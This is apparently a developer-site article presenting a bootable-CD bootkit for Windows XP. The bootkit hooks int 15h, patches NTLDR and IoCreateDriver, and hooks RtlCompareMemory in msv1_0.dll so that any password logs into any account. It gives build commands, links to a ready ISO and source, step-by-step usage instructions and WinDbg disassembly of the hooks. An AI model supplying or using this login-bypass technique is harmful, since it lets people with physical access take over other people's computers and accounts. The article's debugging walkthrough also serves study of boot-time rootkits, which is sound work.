The idea is to use kernel debugger in order to modify routine msv1_0!MsvpPasswordValidate in such a way it always returns TRUE, even for an incorrect password. I was impressed by the simplicity of the idea and decided to implement it using bootable CD instead of debugger. A great compilation of information on bootable CD is eEye's BootRoot [2]. Another inspirational material is [3].
Theory of operation:
Collapse
Flow of execution
0. hic sum leones (DRAM initialization, POST, etc.) - see [4]
1. boot from CD:
CD code hooks int 15h and copies itself to RAM
CD code boots NTLDR from HDD
2. boot from HDD
NTLDR is running
NTLDR calls int 15h
int 15h hooked handler patches NTDLR with 32 bit stager
NTLDR is running
32 bit stager is called
32 bit stager calls payload
payload hooks IoCreateDriver
NTLDR is running
IoCreateDriver is called, hook registers custom callback
using PsSetLoadImageNotifyRoutine
PspLoadImageNotifyRoutine notifies us about images being loaded
if the image name is msv1_0.dll, hook (IAT style) RtlCompareMemory
3. Windows logon dialog appears and arbitrary password is accepted
for every account
Note:
- int 15h is used instead of usual int 13h used in BootRoot and its clones
- int 15h was found to be viable by using custom interrupt PCI-ROM based sniffer and leads to more compact code
- msv1_0!MsvpPasswordValidate is not hooked, because it's not exported
- password is validated also in ADVAPI32!SystemFunction031
- both functions mentioned above call RtlCompareMemory, which is exported
- RtlCompareMemory is modified in such a way it returns 0 (true) for all the blocks of length of password hash
- it's dirty hack, it's not intended for production use :)
So, how does it work? When you enter password, Windows computes hash of the password and compares it with stored hash of the correct password. But the comparison routine was modified, so it returns true for any two hashes, i.e. for any password you enter.
Using the Code
This tool was designed for CD ISO and Windows XP x86. Feel free to try it with USB flash disk or modify it for new Windows.
Burn the ISO on CD.
Boot Windows XP machine from the CD.
When logon dialog appears, enter required username (e.g. Administrator, SUPPORT_388945a0, etc.) and press enter.
If everything worked out correctly, you're now logged in.
For building the project from source, you need FASM.exe and Microsoft CDIMAGE.exe.
fasm boot.asm bootkit.rom && cdimage -bbootkit.rom C:\bootkit\root\ C:\bootkit.iso
Assume that C:\bootkit\root is an arbitrary non-empty folder that will be the root of a newly created ISO image which will be written to C:\bootkit.iso.
Links:
code project site
Bootkit.ISO
Bootkit Source Code
Test:
To test the bootkit, you can setup XP in VMWare to boot from C:\bootkit.iso
(don't forget to change boot device in VMWare BIOS to CD). If you want
to see what's going on during the logon process, you can attach windbg.
- Grab your free copy of Debugging Tools for Windows from Microsoft and install it.
- Edit VMWare machine settings: Add Serial port, 'Output to named
pipe', 'This end is the server.', 'The other end is application', finish
and check 'Yield CPU on poll'. - Start XP in VMWare and edit boot.ini using
msconfig
(add option /DEBUG with COM1 and fastest baudrate). Turn off XP. - Start XP again and run windbg using a shortcut like this one:
"C:\Program Files\Debugging Tools for Windows
(x86)\windbg.exe" -y srv*c:\windows\symbols*
http://msdl.microsoft.com/download/symbols -b -k com:pipe,
port=\\.\pipe\com_1,resets=0If you're successful, you'll see:
Microsoft (R) Windows Debugger Version 6.9.0003.113 X86
Copyright (c) Microsoft Corporation. All rights reserved.
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows XP 2600 x86 compatible target, ptr64 FALSE
Kernel Debugger connection established. (Initial Breakpoint requested)
Symbol search path is: srv*c:\windows\symbols*
http://msdl.microsoft.com/download/symbols;SRV**
http://msdl.microsoft.com/download/symbols
Executable search path is:
Windows XP Kernel Version 2600 UP Free x86 compatible
Built by: 2600.xpsp_sp2_rtm.040803-2158
Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055ab20
System Uptime: not available
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
* *
* You are seeing this message because you pressed either *
* CTRL+C (if you run kd.exe) or, *
* CTRL+BREAK (if you run WinDBG), *
* on your debugger machine's keyboard. *
* *
* THIS IS NOT A BUG OR A SYSTEM CRASH *
* *
* If you did not intend to break into the debugger, press the "g" key, then *
* press the "Enter" key now. This message might immediately reappear. If it *
* does, press "g" and "Enter" again. *
* *
*******************************************************************************
nt!RtlpBreakWithStatusInstruction:
804e3b25 cc int 3 - Now windbg is attached to windows. Let's see hooked function
IoCreateDriver
:kd> u IoCreateDriver
nt!IoCreateDriver:
805d60e3 b8c3f00980 <span class="code-keyword">mov</span> eax,8009F0C3h <- address of payload.asm/_stager
805d60e8 ffd0 <span class="code-keyword">call</span> <span class="code-keyword">eax</span> <- <span class="code-keyword">call</span> _stager
...
kd> uf 8009F0C3h <- _stager
8009f0c3 802c2407 <span class="code-keyword">sub</span> <span class="code-keyword">byte</span> <span class="code-keyword">ptr</span> [esp],7
8009f0c7 <span class="code-digit">60</span> pushad
8009f0c8 66bb53a3 <span class="code-keyword">mov</span> bx,0A353h
8009f0cc e80b010000 <span class="code-keyword">call</span> 8009f1dc
8009f0d1 68ecf00980 <span class="code-keyword">push</span> 8009F0ECh <- address of payload.asm/
PspLoadImageNotifyRoutine
8009f0d6 ffd0 <span class="code-keyword">call</span> <span class="code-keyword">eax</span>
...
cleanup hook
8009F0ECh <- PspLoadImageNotifyRoutine
- checks if the loaded module is msv1_0.dll
- if yes, hooks IAT RtlCompareMemory - Module 'msv1_0.dll' is now patched. Enter 'g' and wait till logon screen appears. Then break in (Ctrl+Break).
kd> !process 0 0 winlogon.exe
PROCESS 819aaa88 SessionId: 0 Cid: 0274 Peb: 7ffd8000 ParentCid: 01f0
DirBase: 0a5b2000 ObjectTable: e13d6110 HandleCount: 398.
Image: winlogon.exe
kd> .process /p /r 819aaa88
Implicit process is now 819aaa88
.cache forcedecodeuser done
Loading User Symbols
....................................................
kd> uf msv1_0!MsvpPasswordValidate <- we want this function to return always TRUE
msv1_0!MsvpPasswordValidate:
77c69927 ?? ???
^ Memory access error in
'u msv1_0!MsvpPasswordValidate l3'
kd> .pagein msv1_0!MsvpPasswordValidate
You need to continue execution (press 'g' <enter>) for the pagein to be brought in.
When the debugger breaks in again, the page will be present.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
804e3b25 cc int 3
kd> dd msv1_0!_imp__RtlCompareMemory l1 <- this is IAT entry for RtlCompareMemory
77c610cc 77c60fe5 <- and this is address of our
new RtlCompareMemory: RtlCompareMemoryPatch
kd> u 77c60fe5 <- payload.asm/RtlCompareMemoryPatch
- if size of chunks to compare is 10h (hash size), then return 0 (=TRUE)
- else call original RtlCompareMemory
- it's a nasty hack, use different method in production use :) - Now press you can put breakpoint using '
bp msv1_0!MsvpPasswordValidate
' (to remove it, type 'bc*') and step through the login process using commands 't
' or 'p
'. For help, type command '.help command_name
'.